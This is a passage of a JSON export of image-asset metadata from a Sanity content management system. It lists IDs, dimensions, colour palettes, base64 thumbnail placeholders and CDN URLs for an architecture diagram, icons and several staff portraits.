ype":"sanity.imagePaletteSwatch","background":"#948068","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9b71b","foreground":"#000","population":1.81,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-wolt-architecture.png","path":"images/sczeoy4w/production/916bcbc601e0f05223abf31488f976325f63685f-2500x1302.png","sha1hash":"916bcbc601e0f05223abf31488f976325f63685f","size":62677,"uploadId":"3KMYPWLdQHkKe9rVsbWNBKDq3xB3r2L5","url":"https://cdn.sanity.io/images/sczeoy4w/production/916bcbc601e0f05223abf31488f976325f63685f-2500x1302.png"} {"_createdAt":"2022-06-30T11:59:12Z","_id":"image-d4086f919159ba1c657348bef212e4a4c7d6fd48-400x269-png","_rev":"QRl2cGoCgj0FlAhkRrhmGp","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:39Z","assetId":"d4086f919159ba1c657348bef212e4a4c7d6fd48","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VHNdm]0000xa~Wn$tko0f+WVWBozi_XSfQMxyDt7V@W;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.486988847583643,"height":269,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAAClUlEQVQokV2RW08TQRhA9x9xURJQjAJWBI0gohATXjQa44sPxMTAi7akUmlLgLa7Wwq0hbakYoI1wC+g3AI8AUGltd0t7bY7s7Oz9xYSszVR8OTke5h8k8nkEL1kZCAQfx5ceja3NBCI99Gx4aXVzaMfhXwhx7BslskxbI5hWIbJZbOFg0MumSyurxcPj/gCR/RT0af+xT4q2uOd75oKd3nCw1/W9lIZESHAA8DzAADAA57nS8Vi6TQPWBayLOQ4AUCiZyrc65nvmgx2uGfaXYHO8Zl38ZX9NINFLECIEMIYY7E6quALEJ2uwH33TIdz2vKJvu2g2sfot4vf9lNZSZJEhERRlCVJU1Vd00wvQ9wZm24fm25z0C2j5K2PZJuDGowm9tOMruuapqmqqut6pVI5Pzs7Pze9CNHhnLnnnr3rDLQ56NZRyvLJPxhN7J1kNVUzUTVdlnWMDYwNRTZ03TD+STz2LvSTEfPbE8EHE8HuydBQfGXr6GeJKxY5rpTPw+NjsLkJkhvw4AAVCggKfyWekLE+KvbIF3noWej2LPR4I0Of1zYOjk/ZnNkp/Yvb3eVWV7lEophM8pksKPGgVKpOnrC4g5bxUJs72Oqaa3HOtrrm3sRWtr6nkSBAACDPi4WClMngdBqxLOJ5JAgiQhLGsiQRzaP+m47ADUegeXS6yU432unX8193TjIYYwgBhBBjLMuyIssiQhBCQRCwKCqKoqkq0ThCXrfT1+x00wjVYPU12HyvQsvbJxlJkgRBgBD+eUo202EJY/NatZlhGES9lbxqI+utZN0HX+177xUr+TK0vJPKVkuZqRRFURXF3Db3jcoFiFobXWuja0ypGhtVN+J/EU5spxijXC5Xyv9RqVw6+g1QWl7/r4HIeQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b6f7a","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#227a8a","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#619baa","foreground":"#fff","population":4.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ce9d92","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0868b","foreground":"#000","population":0.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#619baa","foreground":"#fff","population":4.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4595c","foreground":"#fff","population":1.68,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d4086f919159ba1c657348bef212e4a4c7d6fd48-400x269.png","path":"images/sczeoy4w/production/d4086f919159ba1c657348bef212e4a4c7d6fd48-400x269.png","sha1hash":"d4086f919159ba1c657348bef212e4a4c7d6fd48","size":17677,"uploadId":"N5g6IoA7lljoJEbXqOW1ERwLwPMrVpeC","url":"https://cdn.sanity.io/images/sczeoy4w/production/d4086f919159ba1c657348bef212e4a4c7d6fd48-400x269.png"} {"_createdAt":"2022-09-07T11:39:50Z","_id":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_rev":"cEPH2uRN58AU2lp9QNf893","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T07:42:56Z","altText":"Icon user check","assetId":"0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC+klEQVQ4jXWUWYtcVRSFv+qiyQAJrcYgGgOtxgeJRoVA1IeAA0gTyOBDOokmXbV2dSeiOOEA4oNG3zQOIMYgjiiKiGOUVon/7Kywzz1VXYV6YHPvPffudfdee60DgIfgtXYN8Kje9yzmLPoeMlffjaAIPGgx5N/LK+ClBnamJvUd7CziAYuTFkOLoxZ3WWzzGj0fBgvK41BW/wtQLaJWtGgRFl9Y/GlxxeKyxXtFHLK4tnUw6WZmlawqoJyrH+2wkMUvFj9avGnxosUHFusWn1o8ZLHZpzeomlmVi7MVeK4M2d+SfrU47SE3W1xjsdfiNYu/LF51cKNPbFQ5s3KzVjlgc+PqJ4t3LPb4XKt+hX5WVsR3Fhct9ln06oA0i9f9JXkcstVi2eJnizcc7Kq8rrUBiAON10+K2F9VcPT/AJfrdd7iEYvvLT63uN9ikwf0PGShiFMWv7Xqb5+W2cyaTHhQq7jV4i2Lvy3edjfVlM8TFl9Z/G4xcLBQJda0OQv42JSYgy0ODjp438G6o077B4s/2qBeLlmd6JezG4COCS3toRM0fgFKsN3BfQ6et/i4iC8tLtSpiz1lyHwZ52XkUBtg5bMCjeg52Opgt4N7W5VHHKw4GFkct7i7qA5ubALK05PcTe7ezY83rnew5OB1i0sWnzU9juPDVmFacgLoBAyuc/CgxRGL27LcbRaHG+kp3G+y1aa3i+3+QpPUTosFi5uc1Iwq2LFWQLrpQP7tTot3k/giXrE4aHFPtjgVe4u4wWK7xcNFvOTglIMzDr521Ok/VcQumjRymh/VxDyq0o5prUPgRzvhl9wTW1o33zq44uAfB5cdPOvgFq/Sz49OtFbPVy7HUliZiuXOniXPx2DRwTNNVuvtvoL5fCfspcbVauUlAVUP105n4yFkXIKa2IEea7FY98ayKWJ36Xi7o6jar0t+DsqTnfhLHlVpz2y9M0JWmibImEv91px9nZfTq3nE57WrKuPklJvSFdn68Q1XeLXFWEL5bgBXAe3BRV9TLs9TAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3c44","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#951c04","foreground":"#fff","population":1.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1620a","foreground":"#fff","population":4.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7f3719","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc7c54","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a6a5c","foreground":"#fff","population":0.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1620a","foreground":"#fff","population":4.17,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7dcxEE","_type":"reference","_weak":true}]}},"originalFilename":"icon-user-check.svg","path":"images/sczeoy4w/production/0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24.svg","sha1hash":"0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9","size":323,"title":null,"uploadId":"gh3Vz5QKliZoGbkz448DXhkDZrRMaiUC","url":"https://cdn.sanity.io/images/sczeoy4w/production/0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24.svg"} {"_createdAt":"2022-12-08T13:30:11Z","_id":"image-49a93b6a85f3f16d430bf9a657facbf6bcdb5457-512x512-png","_rev":"VrdcoLtXxUWed6PHr4AR26","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:30:11Z","assetId":"49a93b6a85f3f16d430bf9a657facbf6bcdb5457","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e#GKW$XkgykCsm.jbHV[jGVuX8WBrvbFWnXPjGe:ayoyt6ayjZkBf+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEz0lEQVQ4jQHEBDv7AJ3vnJ7wnp/yoaHzo6P0paT1p6f3qKf2qKX1pqT1pKX1paf2p6z5rbP8tbr+vLr7t7H0o7DzoLr4r7/7uACc752d8J+f8qKh86Sj9ael9qmn96mn9aem9KOl9KOm9aWo9qar96qx+q+3/LO4+62y9Jur7pCv8Jq39qgAnO+enfCgn/KjofOlpPappveqpvanpfKho+6cneWXmd2Rmt6Rn+eWp/CcsPant/qqtfadqO2LpOiIrvCZAJvwoJzxoZ7yo6HzpaP1qKX2qKXzpKPtn5rak426f4Ojb3+hbI69e57fjq3ypbn7tbn5rqzwmZ/jg6HjgwCa75+b8KCc8aKf8qSh9Kek9aik86ea3ZiKsHyUmnaVj3J+fGCHlGyiyI2w7Km2+be2+LKp65mU13WMzmMAmO2dmO6em/CgnvGkoPOmo/WooO2jjL6DhI5oqJp/s6CIjYBojIdrrLiOteCksPKoqe+fm96Dh8lkgMJVAJfsnJjtnZvwoZ3xpJ/zpqDypprdl5GrepqSc7mmjbejjI6AZ4uCZ6+tibrUnq/so6Psl5PYd4bIYYXHXwCY7Z6Z76Cb8aOd8qWd8qaV45mMvH6bnXS0oYXNt6HGsJuaiXGIfGGlnXu3xJOw5aCj7ZiV2nqMzWaO0GwAmO2hme+imvCkm/Glluqffr59c4pbl4tpuaKH1Lum3MSwtqKLhnddj4Niqa+BqNeTnOGKlNV1ks9qlNVxAJXsoJbtoZbtoZbtoYrakWaSXVldPo5+Y8CpkNe9qNnBrKyYhHFjTnptUJyccZ7EgI7McYrHY47KY5LUbQCR6JuQ6ZuP6JqO6JmD04heiFRFSC5wYUyumYDHsJm1oYt7a1pbUD15bFCYkmmVrmuFu1yBvVaFw1uKzmgAi+WViuSViOSUh+OSgdeIZqJkR1k3WU43inZboIxxg3JbUkY1WU45gnRWjolfhp9agbZYfr1af8Ngg8tpAIXhkYTgkIPfjn3ViG67eVeQX0heP19XPYRyVY98X3BeRko9KVhMNHRpT3J3W3KYY327an7Gan7HaX3FZACA3It/24t3zYRfom5AaVErQjo5QDdvZ1GZiGycim1+bVNURjJHPSxKRTtIVFZaf3V2s4GCzXqAymt3ulUAfNiHedGEXqFtNldJHSoyFRspKSoxZmBWm496ppZ/iHtoVExAMC0qIiQqJi9CQVhtaJeJgMOBgMNodbFMAHrWhmu5eEFqUR4qMRUbKxYbKxwgLjo7QWRgXnNuaVxaWTY3PR4hLBYaJxogMy89V1R0f2+feXOjWHGeRAB404Zam2krQzsVGycVGykXHi4YHi8cITAoLDovNEMoLj4cIzQXHi0WGigZHi8lMEhAVW1Ycm5je09wikYAdtOGXJtpM0g+Gx8nFhomFx4uGB8yFx0uGB4wGyQ5GyM4GSEzFx8wFRooFxwsIixDPUxnWGh0Z3Ffd4FbAHfWiXG4eWN5W0hHQSgpLhgeLBgfMRceLhgeLhsjNxwkOhsjNxoiNRgdKyQnM0ZKVnN2goiMjXZ7a3N3YAB314l9xYCMnnOCeWRIRUAbICsXHjAYHi8WHCwZHzMbIzkcJTscJTogJTNHRUiOhoHGu7HAuKiDg21qbFc0Z3ZcjU1rJgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a533e","foreground":"#fff","population":5.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#05041f","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8f8365","foreground":"#fff","population":7.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bab191","foreground":"#000","population":4.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bfca9","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f8365","foreground":"#fff","population":7.88,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#85c55c","foreground":"#000","population":5.57,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"mirjiam aullbach.png","path":"images/sczeoy4w/production/49a93b6a85f3f16d430bf9a657facbf6bcdb5457-512x512.png","sha1hash":"49a93b6a85f3f16d430bf9a657facbf6bcdb5457","size":376197,"uploadId":"WBQsUZ1iVp9ofDIjgOukVRudP9SWg1ZT","url":"https://cdn.sanity.io/images/sczeoy4w/production/49a93b6a85f3f16d430bf9a657facbf6bcdb5457-512x512.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-5d9c70e99f5efc219f79ea2611b5dd31215e5928-400x300-png","_rev":"QRl2cGoCgj0FlAhkRrhj70","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:55Z","assetId":"5d9c70e99f5efc219f79ea2611b5dd31215e5928","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VWF~gTk;VXD#%N~VSx-pouRlIpo2axjZWB4paeoya%a^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":300,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEPElEQVQ4jY3QfUwTdxgH8IcWhFLfppOJ6Jjg0GWLy9xEnC46kWwzmXEjGxAJLiy4sGWw6aYODU4E0QzfmCBs+AKCILQWuN7d7+i1cEdLC/Tl2rteX+5aWkp0/yxLlixZFk2Xur/8Y9m+/3z/eJ588uQB1k1XmnnTGYtgqjfzdOGppm9WZD2fnbll25sb83fseil/x66817Zuz8xYnaFWqyGtYOvSlMNjAPPMvUUhCm0JUdTXIYq6ICN0VEZoNxhnUZPJMaYzOQyDRjtder23d3VHP1GgoWdrR1iufoTl6kZYrqwPt+Ss21CWCpCX9Pi3bRAY+jXFj5OFPr2+U8SwMRHDunx6fQkY7dgJxtmrm3R1UDZ33fEZbt9exjXy7aQ3ajWLD2OssBBh+NiEyemr0aLGjUZD0rPRGKyc9xVkSYa7HwQIfMCP47N+HB8KEMQhMEy17JhyFDc6PDtxwZfdL4fXtHPS+RGrX/5lJvgw7ghG4/ZA5A+bd3rc5io/JYqK6rk5qF2YX1odnTn2lUzp+yQSmSWS7JMRKoexqdY9Fnt58wxXiLmF3NtBec1FV/D8gC0gz3tC0cfhiCcenvM84oOmgN1TcksQFJckCdpiUfWFecfnp2UKG5RIZJNI8p5EkhXAuMgGltNgk1wPYXGdq7Hai/LHHfcPTvkilBCSf4+Epx9FQrY/vcFp85Sz+VOrbVGBKML2uWDmzjB7uUIi8f4gQUwHCeIfkHUbm1j3+CDrnuiecDEftt66u6y9z5hF2wNf2AS/kfd7vKLETzv9gRacdb76+rZSZWNlHBYsParwGNoXoqgBGSG7jNBQCKFDMOkx7p3kjSVmni5m3dQr126eTttdVJR6Q4O2amlbPT0rtjFc8KTWYNldfaRu1dq12WkAoOxpblFJCL0tI/SjhNCoRJJtMkLFYBHG060is8QqMovNvHHR4S8/USxfsULZcKkzt2sQfTZkmPn+pnbsYOG+A5sAIDMtLXUNAKzK3/zyUqdGsz5AEO/4cfxjP46/FyCITcBwBmDdNEzyJqBncVAvXqZQKBSqssrqnB867lR09mMn6i+07l/3Qs6LAJClVCqfgKrU1PQbjY0pAYJQCRim9mKYShgdTUlc+ASclSygpSkAgOQ3tr+18kzL9Z1dg8SR7mG6oe2OrrSq5liuKl29BADSlMnJyQCQFI/HwanVgntYB5xOB14Mg6dyrft+EgAoTjW3PodPeatN3Jxp3B3lxrlIN2nzFVbVHFcn5gkokb88HhD1GPhxHHx6PYh6/dNg621NAkxq7x3OYPjYcYvv4bxZfBA3iw94ho9VNl3teiYB1n7XkNj77zRe+TlRihNnLy432OViVljQMHzMyQoxndEV/qju3JXlifnZyz/9Lw8OlFQkSrl+Q56q9dZQzijrfh9N+6sIq7f0to7evOfd/YkfKquPnvxX5G+8XkxQK5tsSAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a522d","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#798604","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f2f40d","foreground":"#000","population":1.98,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcd4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4e64b","foreground":"#000","population":0.23,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c848a","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2f40d","foreground":"#000","population":1.98,"title":"#000"}}},"mimeType":"image/png","originalFilename":"5d9c70e99f5efc219f79ea2611b5dd31215e5928-400x300.png","path":"images/sczeoy4w/production/5d9c70e99f5efc219f79ea2611b5dd31215e5928-400x300.png","sha1hash":"5d9c70e99f5efc219f79ea2611b5dd31215e5928","size":13511,"uploadId":"XNzwr5X6s61Vp1aCGVau7WpImSvSmVgA","url":"https://cdn.sanity.io/images/sczeoy4w/production/5d9c70e99f5efc219f79ea2611b5dd31215e5928-400x300.png"} {"_createdAt":"2022-12-08T13:37:10Z","_id":"image-c16d2146c6739e6076c91e7c4e848576126d1cbe-512x512-png","_rev":"Bp455s9rtQ49wRO6vWPxpH","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:37:10Z","assetId":"c16d2146c6739e6076c91e7c4e848576126d1cbe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"erIF0pIU?bWBM{~qofxuofMyxuoyWBayWVxuWBjsWCoft6jaRjj[WC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEyElEQVQ4jSWQ+VNSCQCA3z+ys41rkiE373G+x/U4BQQkFY9IKy3t2Kw1220zNc+sFARUwExLt73KarpWd23NLLXs8CwFREUL0BAVhJrZcXbm+/2b7wNGR0c+floOrq/5fF6HY2ZyYsztnnO7XQMD/TZr04XSkvZW+/TUpN/nDQYD4a3NSDT89Wv0f4Anfb1ut2t9I7ixue5f8TscM319/xgM9Tk5ehHKF3Dg3P053bdveT992gytr656AwH/VmTry9do9EsU6P3r0dTUxGpgNRzZCm2FnS6n0WiQCPmU3Rg6FsMiYGU8pLLs/Pvp6fWNNY/H5VmaD25uhqKRUDQCjAy/cLocn4Nrm5GtUCQyMztbWV6q4DB1XEaujJ8rR3M1irLiH14MDqyseBfmZ9wLzpX14Fo4HAyHgfHxsY8+71poMxAKBUKhdxMTFSVnDyiEJ1SiQrW4QCnM1yhKCo/3Pn64vLTgdk3NuT/4Ap9XNjb8wSDQ/7T/vWN20efz+FdcHs+j3p6iY/k6AVuH0FIQKJkNyllQvj7zbvct98KcY3Z8xjG55Pctfw4srawCV+22e/fuPHs+ODQ83NvTYzY2HM5M1cA0CSVBSsWrWGAiEzycmdb95+8fnLOTk6/HJ986PZ55r9/t9QENNdW2RuMNu63DZrWbGq9UlBfnZh+Wo3oeI4NDz+Kz01GkUJ/e2Wrt7//3754HvT0Pnw8Pj74bezMxCRgqqsw1tZa6uobqqssVF4y1NdXFp06mKPNEbB2bqoSIKhaYp1XWnPup2dRoMdZbDPVXrS2dHe2/dnUC5uraprrLdmOj3WRqMRiutVgbL9YcS9emwWAShJdRcCqYVpCVWldZ3mQxNzWZWpotdpu1va31esc1oNVo6mhu+aWt/eb1G+32NmuzvbaqZn+qVgYRE6k4NYOcIRGcP1N0+0730xeDA0PPBocHn78cGhp9OfL6FdDWaLlqaWk22y5dMZ85V7U//5RWly1FhWxCAi0+FsHHq4WCotNnbZ237vcNDI6Ojs9MOxbm5pYW3MuLgOlSQ1npxfwTJXv2fY+q9DSBmsQSE6mshN0JcTExOAyGx0W1WQX64xeO/ny5vN7a1f1gZGzMueie/7gIFP9YlpZ9HJGlk2B5AkOM20YUT0FisZQYDG4XDgQRGZyYJdAeQVOOoMkHMw4Vmdu6Xo2PuTzzgCbjECxJxdFFOwmsnUQYSxMSWFIcQ4wFefFULp4hpvA0dHE6knSQqzkEiXRkjjIj7+Rvdx++d84CTFEyiS2NJyMxWCgWz8TRxWSOksJVUThJZERJ5aohNIUuyWDLsznqPFiRQ4AViCytsr5p5O0bgIIk4mj8nQTGt7tI3+HoeKaUylNDAi2EpoKCPVSeBuRraaI0pmwvrMzhqA6CaArEVx89Xfr4ST9AYkuwIC8WT/8mjrhjNxULodtCvoYmTIOEqRSumoQoKVw1JExlSDMRZQ5TmknhJGXmFd68cx8gsrbz4oisHfHkbzEkDAkmMKVkRAnytRCaQuao8EwpjiEhwIkgXwvL98FyPQlRaPYW2Lv+AAhMMRbiY0jsGCy4Yxc5jsjCbT+TkZEkKk9DQpQJdDEWQnEMEShI5iQd4CizibBcocu1XLv5H3BtYNFQb6vhAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343f4f","foreground":"#fff","population":6.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2c3d","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#343f4f","foreground":"#fff","population":6.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bab2aa","foreground":"#000","population":2.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bbd5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c6e86","foreground":"#fff","population":2.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#507eae","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Greg Harris.png","path":"images/sczeoy4w/production/c16d2146c6739e6076c91e7c4e848576126d1cbe-512x512.png","sha1hash":"c16d2146c6739e6076c91e7c4e848576126d1cbe","size":347922,"uploadId":"uuufBo7Sskjcxz4JboviNIrAEZIsDwFz","url":"https://cdn.sanity.io/images/sczeoy4w/production/c16d2146c6739e6076c91e7c4e848576126d1cbe-512x512.png"} {"_createdAt":"2022-12-08T13:35:03Z","_id":"image-2344401bf4f75fa7c215364e28bb7a9414118862-512x512-png","_rev":"VrdcoLtXxUWed6PHr4Bjng","_type":"sanity.imageAsset","_updatedAt":"2022-12-08T13:35:03Z","assetId":"2344401bf4f75fa7c215364e28bb7a9414118862","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eABpRZr=0L^~}p0F?A^zD-O8c?D,+x%J9aMnxt9tD+$*xpNMocawbH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEiklEQVQ4jR3N628SBwAA8PtmLS0tBQqFFgrc8bzj3sfd8SxwvJ/lebQ8KhRbiq1VMlxKF6eurtPO6YdlZhpNFpc91U1dTKYxM25uc9m+7s9Z3Jff1x9QrEWzxUC6GMzXC4kT2761A6p20ZndcQRLsC+FCCuw0LAFilZfwbokWjxZCGdMdovRaly0mIBYxhNOuqPZpbSYCYkdpjhAs7twaguONNFQmc6s0+Uhlt6CYx04c9omtEDcZXTYTBgNukKAEKN8giuU8qfK8WClQeW38XSPzPXJbI+K192Frq913lV7Dy+ew1cP4fwQYiMg5bUEKvbEJlArMekMm8x6CqIQr1T4VJ2PFP2xkide8URywUwxtNJ3N87TzSOq8xkqXrIGRZt/GUluItkB8G6f22jxddFbFYOxdMTjDfAU5UKdJIK4CSyxxCezKX+lz7U/YdauIektMx+DvTE80UIzfeDjfWZ02rNzMlgtez1ukkbshNlgW5gD1QpUr0nQjlKYE+JJT2mTzbUdnA+CLXYCcXqDaCgPXN3DLw49+4NwvcrSKEiajW67CTdorWo5qVfnGceJKJcLsYEw7wnRKGmCLGqLQwsTEOZyAsMesrfL7p0NrJZJyqF3WYwCanWbdbxBnYIXu0vEmXygFqGXvBDvXnTAKt2izATKEHgWwzTA9jo23GbO9F35tB21ztNmfRiBEoipRph2/MhBIXChKjSjlJ81oNjcvG5KrhzXaichk8xqlQO7m/TgFLPVJVJxiIC1lFkXRKBOgDjIe2/Wow/P1m6ezLUEgiMWQEiunpMqZyc1minT4jRsngG6LXxtBa0U7FHB6GZ0PgzKstglMfF42Hp1YeOfo917Z8RqAMHsKtA4AxrloEkJGpUOUE5a5UAyBgUDBo6dZ2gNRy8s0eZlDr8sJn4etd9c7v9+eOpoPRXjQNSutEBy0KQwGOQ6nQzUT9uMMoCktLBTBZnlVpuCpjV+lyGCm3ej7Je9wrPR2qO95nDVGw+aGGIONM1otFLF7IRMMa5QSlSqCYBmtCg+B5nlDlgRjixmU5YoC60Hqdsnc09Haz+MmvudQDFt5WjtwsKUTD4ulR2fnD4+Mf1WwOOb5/kF1KlimNmKaO52yeUEUvGhH67Gn+53Xl/dvrtf6TVdPl6v0UgnpGOSqbGJ6bdKpGOAi1UThApBlByvLtUsnQ22sswW/Pj7VeHFBxv/3hm+urd1+9Pidp/n3Xq1ZlIiPTYuPSaRjk1MjQHhsJHjtCSjcQUM/pxDKNKxBFsQqFF96fFHzTff9V4/77542b7/aOXgSqwoInanakYpkUj/n9ttSmxgkSLiyqJYFkdTKBVFoilko03fuBJ/+KD67GXz1V/rv/298eR56/Mvlt8Z+UMRUK2VSibHgFM7XGOLCzZoskziJcKZR/CMJVS1rvbQwXnu+q34g6e1l392f/lj/asfK3e/Kdz7vnx4LRaKQHKFBFjrYJkW4apgRAWnRBIvInTBFmnYqz1nZ0DsHfrufpt//uuJn140r99KXr4RvvN17v6T2uCcz2JV/geN3UaQfWrzbwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#53412d","foreground":"#fff","population":5.91,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#717211","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#53412d","foreground":"#fff","population":5.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#788018","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dfe77e","foreground":"#000","population":0.68,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aeae5f","foreground":"#000","population":1.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af952b","foreground":"#fff","population":0.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Ronan Dunklau.png","path":"images/sczeoy4w/production/2344401bf4f75fa7c215364e28bb7a9414118862-512x512.png","sha1hash":"2344401bf4f75fa7c215364e28bb7a9414118862","size":416572,"uploadId":"fJyKorUGipKJxJtKb3cj5LFqYPXLC6gc","url":"https://cdn.sanity.io/images/sczeoy4w/production/2344401bf4f75fa7c215364e28bb7a9414118862-512x512.png"} {"_createdAt":"2022-06-15T20:01:34Z","_id":"image-78256efcd877e208a599ba86a7201de3761689a1-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEamjW","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:14Z","assetId":"78256efcd877e208a599ba86a7201de3761689a1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9DlA+02~Unl0fTKIUxb?GD*00smI:s:t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACmElEQVQokQXBWVMSAQAA4B2We7nZCxyWdTkEDy6PBZRLl4UNMCRQMFSCFcNMyBpyOnRMG3WcXjSnEnswZnLGhx4ymx4b/0BN